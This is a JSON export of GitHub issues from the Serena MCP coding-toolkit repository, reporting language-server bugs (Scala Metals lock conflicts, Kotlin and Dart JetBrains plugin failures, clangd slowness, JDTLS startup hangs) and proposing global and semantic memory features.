      "body": "**Is your feature request related to a problem? Please describe.**\nSerena attempts to start a new scala-metals instance (Scala LSP) while working in a Scala project. The issue is that usually when working on a Scala project (or any project) an IDE and/or Text Editor that uses scala-metals LSP server is open and running metals. \n\nMultiple metals instances will reuse the same H2 database. This is supported see https://scalameta.org/metals/docs/integrations/new-editor/#-dmetalsh2auto-server \n\nHoever in the following failure cases metals will leave the h2 DB file locked causing issues for other instances:\n\nThe Failure Cases\n| Scenario | What Happens | Likelihood |\n|----------|--------------|------------|\n| Metals #1 crashed, left stale lock | Lock file exists but TCP server is dead → conflict | Its happens ⚠️ |\n| Metals #1 started with AUTO_SERVER=off | No TCP server, exclusive lock held → conflict | Rare |\n| Network/firewall blocks localhost TCP | Can't establish AUTO_SERVER connection → conflict | Rare |\n \nWhich leads to errors sue to the conflict e.g: \n\n```\nserena_get_symbols_overview on src/main/scala/com/.../.../Handler.scala) and got:\n> The language server manager is not initialized, indicating a problem during project activation.\n```\n\nEssentially, the issue is a metals instance conflict:\n- Neovim's Metals (PID 28302) is running and has a lock on .metals/metals.mv.db\n- Serena is trying to start its own Metals instance, but it fails because the lock file is held by Neovim's Metals or whatever other IDE\n\n**Describe the solution you'd like**\n\nI want the follow:\n1. Detect stale locks - Check if lock file exists but owning process is dead\n2. Offer to clean up - Remove stale .lock.db file (safe if process is dead)\n3. Verify AUTO_SERVER connectivity - Confirm we can actually share the DB\n4. Warn on fallback - If we'll be using in-memory DB, tell the user\n\n**Describe alternatives you've considered**\nA workaround is to remove `scala` from the Serena's language list.\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1011/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1009",
      "id": 3917372425,
      "node_id": "I_kwDOONgOes7pflwJ",
      "number": 1009,
      "title": "jet_brains_find_symbol crashes with NullPointerException on DocumentationProvider for Kotlin in Android Studio",
      "user": {
        "login": "charleshall888",
        "id": 47426470,
        "node_id": "MDQ6VXNlcjQ3NDI2NDcw",
        "avatar_url": "https://avatars.githubusercontent.com/u/47426470?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/charleshall888",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8943797060,
          "node_id": "LA_kwDOONgOes8AAAACFReDRA",
          "url": "https://api.github.com/repos/oraios/serena/labels/jetbrains",
          "name": "jetbrains",
          "color": "843eeb",
          "default": false,
          "description": ""
        }
      },
      "state": "open",
      "locked": false,
      "assignee": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "assignees": {
        "0": {
          "login": "MischaPanch",
          "id": 35432522,
          "node_id": "MDQ6VXNlcjM1NDMyNTIy",
          "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/MischaPanch",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "milestone": null,
      "comments": 4,
      "created_at": "2026-02-09T17:30:19Z",
      "updated_at": "2026-02-10T23:22:45Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "## Description\n\n`jet_brains_find_symbol` crashes with a `NullPointerException` for all Kotlin symbols in Android Studio. The error occurs regardless of the `include_info`, `include_body`, or `depth` parameter values. Other JetBrains-backed tools (`jet_brains_get_symbols_overview`, `jet_brains_find_referencing_symbols`) work correctly in the same project.\n\n## Steps to Reproduce\n\n1. Open a Kotlin Android project in Android Studio\n2. Configure Serena with `language_backend: JetBrains`\n3. Wait for indexing to complete\n4. Call `jet_brains_find_symbol` with any Kotlin class name\n\nExample call:\n```json\n{\n  \"name_path_pattern\": \"MenuRepositoryImpl\",\n  \"include_info\": false,\n  \"include_body\": false,\n  \"depth\": 0\n}\n```\n\n## Error\n\n```\nAPI request failed with status 500: {\"error\": \"java.lang.NullPointerException: Cannot invoke \n\\\"com.intellij.lang.documentation.DocumentationProvider.getQuickNavigateInfo(com.intellij.psi.PsiElement, \ncom.intellij.psi.PsiElement)\\\" because the return value of \n\\\"de.oraios.serena.symbol.Symbol.getDocumentationProvider()\\\" is null\"}\n```\n\nWith `include_info=true`, the same NPE occurs but on `generateDoc` instead of `getQuickNavigateInfo`:\n```\nCannot invoke \"com.intellij.lang.documentation.DocumentationProvider.generateDoc(\ncom.intellij.psi.PsiElement, com.intellij.psi.PsiElement)\" because the return value of \n\"de.oraios.serena.symbol.Symbol.getDocumentationProvider()\" is null\n```\n\n## Root Cause\n\n`Symbol.getDocumentationProvider()` returns `null` for Kotlin PSI elements in Android Studio. The plugin calls methods on this return value without a null check, causing the NPE. This happens even when `include_info=false`, suggesting the plugin unconditionally calls `getQuickNavigateInfo` as part of symbol resolution.\n\n## Working Tools (same project, same backend)\n\n- `jet_brains_get_symbols_overview` — works, returns full class structure\n- `jet_brains_find_referencing_symbols` — works, finds cross-module references\n- `search_for_pattern` — works\n\n## Environment\n\n- **IDE:** Android Studio Otter 3 Feature Drop | 2025.2.3\n- **Serena plugin version:** 2023.2.9\n- **Serena MCP version:** latest (installed via uvx)\n- **OS:** macOS (Darwin 25.2.0, Apple Silicon)\n- **Language:** Kotlin 2.3\n- **Project:** Multi-module Android/Gradle project",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1009/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1006",
      "id": 3915205456,
      "node_id": "I_kwDOONgOes7pXUtQ",
      "number": 1006,
      "title": "Add global (cross-project) memories",
      "user": {
        "login": "butterflysky-ai",
        "id": 249836827,
        "node_id": "U_kgDODuQ1Gw",
        "avatar_url": "https://avatars.githubusercontent.com/u/249836827?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/butterflysky-ai",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 0,
      "created_at": "2026-02-09T08:52:03Z",
      "updated_at": "2026-02-09T08:52:03Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "## Problem\n\nSerena's memory system is entirely project-scoped — memories live in `<project_root>/.serena/memories/`. There is no way to share knowledge across projects. Users who work across multiple repos need memories that persist globally — e.g., coding standards, environment setup notes, cross-project architecture knowledge.\n\n## Proposed Solution\n\nSerena already has a global home directory (`~/.serena/`, via `SerenaPaths.serena_user_home_dir`). Adding a `memories/` subdirectory there is the natural extension.\n\n### Design\n\n- Add a `GlobalMemoriesManager` (same `MemoriesManager` class pointed at `~/.serena/memories/`) to `SerenaAgent`\n- Extend each memory tool's `apply()` with an optional `scope` parameter (`\"project\"` | `\"global\"`, default `\"project\"`)\n- `ListMemoriesTool` additionally supports `scope=\"all\"` returning `{\"project\": [...], \"global\": [...]}`\n- Mark memory tools with `ToolMarkerDoesNotRequireActiveProject` so global memories work without an active project\n- Include global memories in the system prompt and dashboard config overview\n- Fully backward-compatible: all defaults remain `scope=\"project\"`\n\n### Additional improvements included\n\n- Add `edit_memory()` method to `MemoriesManager`, decoupling memory editing from `ReplaceContentTool`/`CodeEditor`/project entirely\n- Make `save_memory()` use atomic writes (`write-to-tmp` + `os.replace`) to prevent partial writes on crash\n\n### Files changed\n\n1. `src/serena/agent.py` — Add `_global_memories_manager` + property + global memories in system prompt\n2. `src/serena/tools/tools_base.py` — Add `global_memories_manager` property and `_get_memories_manager_for_scope` helper to `Component`\n3. `src/serena/tools/memory_tools.py` — Add `scope` parameter to all 5 tools, mark with `ToolMarkerDoesNotRequireActiveProject`\n4. `src/serena/project.py` — Add `edit_memory()` method, atomic writes in `save_memory()`\n5. `src/serena/dashboard.py` — Surface global memories in overview and memory management endpoints\n\nI have a working implementation ready as a PR — happy to discuss the approach before or alongside code review.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1006/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": [
        1007
      ]
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/1005",
      "id": 3914314132,
      "node_id": "I_kwDOONgOes7pT7GU",
      "number": 1005,
      "title": "Dart/Android Studio: doubled name paths, empty get_symbols_overview, and find_referencing_symbols always returns 0 results",
      "user": {
        "login": "isenbj",
        "id": 49786150,
        "node_id": "MDQ6VXNlcjQ5Nzg2MTUw",
        "avatar_url": "https://avatars.githubusercontent.com/u/49786150?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/isenbj",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8943797060,
          "node_id": "LA_kwDOONgOes8AAAACFReDRA",
          "url": "https://api.github.com/repos/oraios/serena/labels/jetbrains",
          "name": "jetbrains",
          "color": "843eeb",
          "default": false,
          "description": ""
        }
      },
      "state": "open",
      "locked": false,
      "assignee": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "assignees": {
        "0": {
          "login": "MischaPanch",
          "id": 35432522,
          "node_id": "MDQ6VXNlcjM1NDMyNTIy",
          "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/MischaPanch",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        }
      },
      "milestone": null,
      "comments": 10,
      "created_at": "2026-02-09T03:57:14Z",
      "updated_at": "2026-02-11T03:03:17Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "- [x] read the relevant parts of the documentation and verified that the issue cannot be solved by adjusting configuration\n- [x] understood that the Serena Dashboard can be disabled through the config\n- [x] understood that, by default, a client session will start a separate instance of a Serena server.\n- [x] understood that, for multi-agent setups, the Streamable HTTP/SSE mode should be used.\n- [x] understood that non-project files are ignored using either .gitignore or the corresponding setting in `.serena/project.yml`\n- [x] looked for similar issues and discussions, including closed ones (see #878, #478, #861)\n- [x] made sure it's an actual issue, not a question (use GitHub Discussions instead).\n\n- [x] I added sufficient explanation of my setup: the MCP client, the OS, the programming language(s), any config adjustments or relevant project specifics\n- [x] I explained how the issue arose and, where possible, added instructions on how to reproduce it\n- [ ] If the issue happens on an open-source project, I have added the link — *N/A, private project*\n- [x] I provided a meaningful title and description\n\n---\n\n## Setup\n\n- **MCP Client:** Claude Code CLI\n- **OS:** macOS Tahoe\n- **IDE:** Android Studio Panda 25.3.2 Canary 2\n- **Language:** Dart / Flutter\n- **Serena Plugin Version:** latest\n- **Serena MCP Server Version:** latest\n- **Backend:** JetBrains plugin\n- **Project specifics:** Standard Flutter app using Drift ORM, Riverpod, Freezed. No unusual config adjustments in `.serena/project.yml`.\n\n## Problem\n\nThe JetBrains-backed symbol tools don't work correctly for Dart in Android Studio. Three symptoms:\n\n1. **`get_symbols_overview`** returns empty for Dart files\n2. **`find_symbol`** returns symbols with doubled/tripled name paths (e.g. `MyClass/MyClass` for the class, `MyClass/MyClass/MyClass` for the constructor) and all symbols report type `COMPONENT_NAME`. Methods are not returned even with `depth: 1`.\n3. **`find_referencing_symbols`** always returns 0 results, even for symbols that Android Studio's own Find Usages (Cmd+Click) resolves correctly with multiple cross-file hits.\n\nThis appears similar to #878 (Go/GoLand) where `find_symbol` returned empty results due to missing language-specific PSI support. The Dart case is slightly different — symbols *are* found, but with malformed name paths and incorrect types, making reference lookup non-functional.\n\n## Reproduction\n\nAny Dart file in any Flutter project should reproduce this. Here's the sequence:\n\n### 1. `get_symbols_overview` — returns empty\n\n```json\n// Call\n{ \"relative_path\": \"my_app/lib/database/dao/my_dao.dart\", \"depth\": 1 }\n\n// Result\n{ \"symbols\": {} }\n```\n\n### 2. `find_symbol` on a class — doubled name paths, only class + constructor, no methods\n\n```json\n// Call\n{ \"name_path_pattern\": \"MyDao\", \"relative_path\": \"my_app/lib/database/dao/my_dao.dart\", \"depth\": 1 }\n\n// Result\n{\n  \"symbols\": [\n    {\n      \"name_path\": \"MyDao/MyDao\",\n      \"type\": \"COMPONENT_NAME\",\n      \"quick_info\": \"class MyDao extends DatabaseAccessor<AppDatabase> with _$MyDaoMixin\"\n    },\n    {\n      \"name_path\": \"MyDao/MyDao/MyDao\",\n      \"type\": \"COMPONENT_NAME\",\n      \"quick_info\": \"MyDao MyDao(AppDatabase attachedDatabase)\"\n    }\n  ]\n}\n```\n\nExpected: name path `MyDao` for the class, `MyDao/getItems` for its methods, with types like `CLASS` and `METHOD`.\n\n### 3. `find_symbol` on a method — also doubled\n\n```json\n// Call\n{ \"name_path_pattern\": \"getItems\" }\n\n// Result\n{\n  \"symbols\": [\n    {\n      \"name_path\": \"MyDao/getItems/getItems\",\n      \"type\": \"COMPONENT_NAME\",\n      \"quick_info\": \"Future<List<Item>> getItems(String id)\"\n    }\n  ]\n}\n```\n\n### 4. `find_referencing_symbols` with intuitive path — \"No symbol found\"\n\nThe natural 2-part path (`Class/method`) that you'd expect to use doesn't exist because of the doubling:\n\n```json\n// Call\n{ \"name_path\": \"MyDao/getItems\", \"relative_path\": \"my_app/lib/database/dao/my_dao.dart\" }\n\n// Result\n\"Error executing tool: APIError - SerenaIllegalArgumentException: No symbol found for\nNamePathMatcher[namePath='MyDao/getItems', relativePath='my_app/lib/database/dao/my_dao.dart']\"\n```\n\n### 5. `find_referencing_symbols` with doubled path — resolves but returns empty\n\nThe doubled path (`Class/method/method`) from Step 3 does resolve, but finds nothing:\n\n```json\n// Call\n{ \"name_path\": \"MyDao/getItems/getItems\", \"relative_path\": \"my_app/lib/database/dao/my_dao.dart\" }\n\n// Result\n{ \"symbols\": [] }\n```\n\nThis is a catch-22: the intuitive path errors out, and the doubled path that resolves returns zero references.\n\nAndroid Studio Find Usages (Cmd+Click) finds 3 references across multiple files for this same method.\n\n### 6. `search_for_pattern` confirms references exist\n\nSerena's non-symbolic `search_for_pattern` tool finds all usages correctly, proving the references are there — the issue is specifically with the JetBrains symbol resolution layer:\n\n```json\n// Call\n{ \"substring_pattern\": \"getItems\", \"restrict_search_to_code_files\": true }\n\n// Result: matches in 3 files across the codebase (definition + all call sites)\n```\n\n### 7. Widget class — ambiguity trap\n\n```json\n// Call\n{ \"name_path_pattern\": \"MyScreen\", \"depth\": 1 }\n\n// Result: two symbols\n//   \"MyScreen/MyScreen\"           (the class)\n//   \"MyScreen/MyScreen/MyScreen\"  (the constructor)\n\n// Attempting find_referencing_symbols with \"MyScreen/MyScreen\":\n// Error: \"Multiple symbols found\" — ambiguous between class and constructor prefix\n\n// Attempting with \"MyScreen/MyScreen/MyScreen\":\n// Result: { \"symbols\": [] } — constructor has no direct references\n```\n\nThere is no name path that uniquely addresses the class itself.\n\n## Summary Table\n\n| Tool | Expected | Actual (Dart) |\n|------|----------|---------------|\n| `get_symbols_overview` | File symbols with methods | Empty `{}` |\n| `find_symbol` (class, depth=1) | Class + methods | Class + constructor only, no methods |\n| Name paths | `MyClass`, `MyClass/myMethod` | `MyClass/MyClass`, `MyClass/myMethod/myMethod` |\n| Symbol types | `CLASS`, `METHOD`, `FUNCTION` | All `COMPONENT_NAME` |\n| `find_referencing_symbols` (intuitive path) | Resolves symbol | `SerenaIllegalArgumentException: No symbol found` |\n| `find_referencing_symbols` (doubled path) | Cross-file references | Resolves but returns `[]` |\n| `search_for_pattern` (non-symbolic) | Finds usages | Works correctly — references exist |\n\n## Related Issues\n\n- **#878** — Same `find_symbol` failure pattern for Go/GoLand, fixed in plugin v2023.2.5 with Go-specific PSI support. Dart likely needs the same treatment.\n- **#478** — `find_referencing_symbols` scope limitation (C#), fixed with a hack but noted as not uniform across languages.\n- **#861** — Plugin returns 0 symbols on Rider 2025.3.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/1005/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/994",
      "id": 3908297042,
      "node_id": "I_kwDOONgOes7o8-FS",
      "number": 994,
      "title": "Semantic Memory Search",
      "user": {
        "login": "bguidolim",
        "id": 987360,
        "node_id": "MDQ6VXNlcjk4NzM2MA==",
        "avatar_url": "https://avatars.githubusercontent.com/u/987360?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/bguidolim",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2026-02-06T20:19:42Z",
      "updated_at": "2026-02-06T22:42:05Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "## Context\nSerena MCP currently provides filesystem-based memory operations (`list_memories`, `read_memory`, `write_memory`). While this works well for small projects, as memory files grow, it becomes challenging for LLMs to:\n\n1. **Discover relevant context** without reading every file\n2. **Navigate large memory collections** efficiently\n3. **Find information across multiple memory files** without explicit file listing\n\n## Problem\nCurrent workflow:\n1. LLM calls `list_memories` → gets list of files\n2. LLM guesses which files might contain relevant info\n3. LLM calls `read_memory` for each candidate\n4. **Result:** Multiple tool calls, wasted tokens, slower responses\n5. \n## Proposed Solution\n\nAdd **semantic search** capability to Serena MCP:\n\n```typescript\n// New tool\n{\n  name: \"search_memories\",\n  description: \"Semantic search across all memory files in workspace\",\n  inputSchema: {\n    query: string,        // Natural language search query\n    maxResults?: number   // Default: 5\n  }\n}\n```\n\n**Returns:**\n```json\n[\n  {\n    \"path\": \".serena/memories/auth-flow.md\",\n    \"snippet\": \"...relevant excerpt...\",\n    \"score\": 0.89\n  }\n]\n```\n\nLLM can then call `read_memory` only for relevant files.\n\n## Implementation Options\n\n### Option 1: Embedding-based (Higher Quality)\n\n- Use embedding models (OpenAI, Ollama, etc.)\n- Store embeddings in SQLite with sqlite-vec\n- Chunk memory files for better granularity\n- **Pros:** Best search quality, handles large memory bases\n- **Cons:** Requires embedding provider configuration\n\n### Option 2: Hybrid (Fallback)\n\n- Primary: Embedding-based search (if configured)\n- Fallback: Simple text search (grep/regex) if no embeddings\n- **Pros:** Works out-of-the-box, degrades gracefully\n- **Cons:** More complex implementation\n\n### Option 3: Plugin Architecture\n\n- Keep Serena minimal\n- Allow optional \"search plugin\" via config\n- **Pros:** Clean separation, no bloat\n- **Cons:** Users need to configure separately\n\n## Reference Implementation\n\nSimilar functionality exists in:\n- [@arabold/docs-mcp-server](https://github.com/arabold/docs-mcp-server) (embedding-based doc search)\n- OpenClaw (local embedding models via node-llama-cpp)\n\n## Questions for Maintainers\n\n1. Is this something you'd consider adding to Serena?\n2. Would you prefer Option 1 (embedding-based) or Option 2 (hybrid)?\n3. If I submit a PR, are there any architectural constraints or preferences?\n4. Would you accept optional dependencies (e.g., better-sqlite3 + sqlite-vec)?\n\n## Use Case\n\nFirst, I want to say I really appreciate the work you've put into Serena.\nI use it daily across multiple projects and it's become an essential part of my workflow.\n\nI have a continuous learning skill that automatically saves learnings, decisions, and context to `.serena/` files as I work. This means my memory collection grows organically over time, and I now have 30+ memory files per project.\n\nWhen Claude needs context about \"authentication flow\", it currently has to:\n\n1. List all files\n2. Read each one\n3. Find the relevant info\n\nWith semantic search:\n1. Search for \"authentication flow\"\n2. Get top 3 relevant snippets\n3. Read only those files\n\n**Saves:** 5-10 tool calls per context lookup.\n\nThis becomes especially important with continuous learning workflows where memory files accumulate naturally over time.\n\n## Next Steps\n\nIf this aligns with Serena's vision, I'm happy to:\n- Prototype an implementation\n- Submit a PR for review\n- Help with documentation\n\nLet me know your thoughts! 🚀",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/994/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/951",
      "id": 3826758356,
      "node_id": "I_kwDOONgOes7kF7LU",
      "number": 951,
      "title": "`include_info=true` makes symbolic search inoperative on large CPP projects.",
      "user": {
        "login": "n-r-w",
        "id": 38435980,
        "node_id": "MDQ6VXNlcjM4NDM1OTgw",
        "avatar_url": "https://avatars.githubusercontent.com/u/38435980?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/n-r-w",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 25,
      "created_at": "2026-01-18T13:01:03Z",
      "updated_at": "2026-01-19T10:05:15Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "`include_info=true` (the default value) makes symbolic search completely inoperable on large CPP projects.\n`find_referencing_symbols` takes over a minute to complete and times out in most cases. However, with `include_info=false`, everything works instantly.\nThe project is indexed. With `include_info=true`, clangd only uses one core and takes a VERY long time to search.\nLinux, Ryzen 7 7950x3d, clangd version 21.1.0",
      "closed_by": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/951/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": "reopened",
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/937",
      "id": 3812008710,
      "node_id": "I_kwDOONgOes7jNqMG",
      "number": 937,
      "title": "Task-1:init_language_server_manager never completes despite JDTLS finishing successfully",
      "user": {
        "login": "sounio",
        "id": 57057611,
        "node_id": "MDQ6VXNlcjU3MDU3NjEx",
        "avatar_url": "https://avatars.githubusercontent.com/u/57057611?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/sounio",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 14,
      "created_at": "2026-01-14T07:45:37Z",
      "updated_at": "2026-01-16T15:21:21Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "## Environment\n- **Serena version**: 0.1.4-8de9fcc6\n- **OS**: macOS Sonoma (aarch64 / Apple Silicon)\n- **Python**: 3.12.10\n- **Installation method**: `uv sync` from source\n- **Context**: `--context ide`\n- **Project**: Java Maven multi-module project (~800+ Java files)\n\n## Problem Description\nWhen starting Serena MCP server for a Java project, `Task-1:init_language_server_manager` is scheduled but **never completes**, even though the underlying Eclipse JDTLS language server initializes successfully.\n\nThis causes all subsequent tool calls to timeout waiting in the execution queue.\n\n## Expected Behavior\nTask-1 should complete after JDTLS finishes its initialization and build jobs.\n\n## Actual Behavior\n- JDTLS starts and completes successfully (logs show \"build jobs finished\")\n- Task-1 remains in \"executing\" state indefinitely\n- All tool calls (find_symbol, list_dir, etc.) timeout after 600 seconds\n\n## Reproduction Steps\n1. Configure Serena for a medium-to-large Java Maven project\n2. Start MCP server with `serena start-mcp-server --context ide --project /path/to/project`\n3. Observe Dashboard shows Task-1 stuck in execution queue\n4. Try any tool call → times out\n\n## Logs\n\n### JDTLS successfully completes:",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/937/reactions",
        "total_count": 1,
        "+1": 1,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/925",
      "id": 3804905351,
      "node_id": "I_kwDOONgOes7iyj-H",
      "number": 925,
      "title": "F# LS returns info of general module instead of the specific module asked for on hover",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 6,
      "created_at": "2026-01-12T15:47:18Z",
      "updated_at": "2026-01-13T12:34:44Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "In our testsuite we have\n\n```\nmodule Calculator\n```\n\nWhen requesting info (through hover) we get the docstring of the builtin module instead of hover info about the Calculator module. As a result our test fails (we expect the symbol name to be present in the output of request hover):\n\n```\nassert 'Calculator' in 'module\\n**Description**\\n\\n\\nUsed to associate a name with a group of related types, values, and functions, to logically separate it from other code.'\n```\n\n@dsyme maybe a bug in the F# language server?\n\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/925/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/924",
      "id": 3804887984,
      "node_id": "I_kwDOONgOes7iyfuw",
      "number": 924,
      "title": "Kotlin LS seems to not provide hover info for a struct without a docstring",
      "user": {
        "login": "MischaPanch",
        "id": 35432522,
        "node_id": "MDQ6VXNlcjM1NDMyNTIy",
        "avatar_url": "https://avatars.githubusercontent.com/u/35432522?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/MischaPanch",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 0,
      "created_at": "2026-01-12T15:43:03Z",
      "updated_at": "2026-01-12T15:43:03Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
